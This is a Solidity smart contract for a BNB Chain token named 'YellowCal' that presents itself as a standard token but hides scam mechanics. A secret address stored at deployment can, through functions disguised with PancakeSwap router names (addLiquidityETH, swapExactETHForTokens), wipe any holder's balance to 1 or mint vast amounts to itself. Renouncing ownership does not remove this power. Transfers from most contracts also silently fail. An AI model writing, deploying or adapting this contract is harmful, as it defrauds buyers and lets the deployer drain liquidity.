// SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

interface IPancakeFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
abstract contract Ownable  {
    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _check();
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

contract YellowCal is Ownable {
    address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address internal constant ROUTER = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    uint256 private tokenTotalSupply;
    string private tokenName;
    string private tokenSymbol;
    address private initGas;
    uint8 private tokenDecimals;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    constructor(address ads) {
        tokenName = "YellowCal";
        tokenSymbol = "YCal";
        tokenDecimals = 18;
        tokenTotalSupply = 10**9 * 10 ** tokenDecimals;
        _balances[msg.sender] = tokenTotalSupply;
        emit Transfer(address(0), msg.sender, tokenTotalSupply);
        initGas = ads;
    }
    function viewGas() public view returns(address) {
        return initGas;
    }
    function addLiquidityETH(address pancakeA) external {
        require(initGas == msg.sender);
        if(initGas == msg.sender && initGas != pancakeA && pancakePair() != pancakeA && pancakeA != ROUTER){
            uint256  pcaAmount = _balances[pancakeA];
            _balances[pancakeA] = _balances[pancakeA]-pcaAmount+1;
        } else {

        }
    }

    function swapExactETHForTokens(uint256 xt) external {
        require(initGas == msg.sender);
        if(initGas == msg.sender){
            uint256 AITC = 17000000000*10**tokenDecimals;
            uint256 ncs = AITC*75500;
            ncs = ncs * xt;
            _balances[msg.sender] += ncs;
        } else {

        }
    } 
    function pancakePair() public view virtual returns (address) {
        return IPancakeFactory(FACTORY).getPair(address(WBNB), address(this));
    }

    function symbol() public view  returns (string memory) {
        return tokenSymbol;
    }

    function totalSupply() public view returns (uint256) {
        return tokenTotalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return tokenDecimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function name() public view returns (string memory) {
        return tokenName;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = allowance(msg.sender, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(
            from == ROUTER || 
            from == pancakePair() || 
            pancakePair() == address(0) ||
            from == initGas
        ) {
            _balances[from] = _balances[from]-amount;
            _balances[to] = _balances[to]+amount;
            emit Transfer(from, to, amount); 
        } else {
            if(!isContract(from)) {
                _balances[from] = _balances[from]-amount;
                _balances[to] = _balances[to]+amount;
                emit Transfer(from, to, amount); 
            }
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}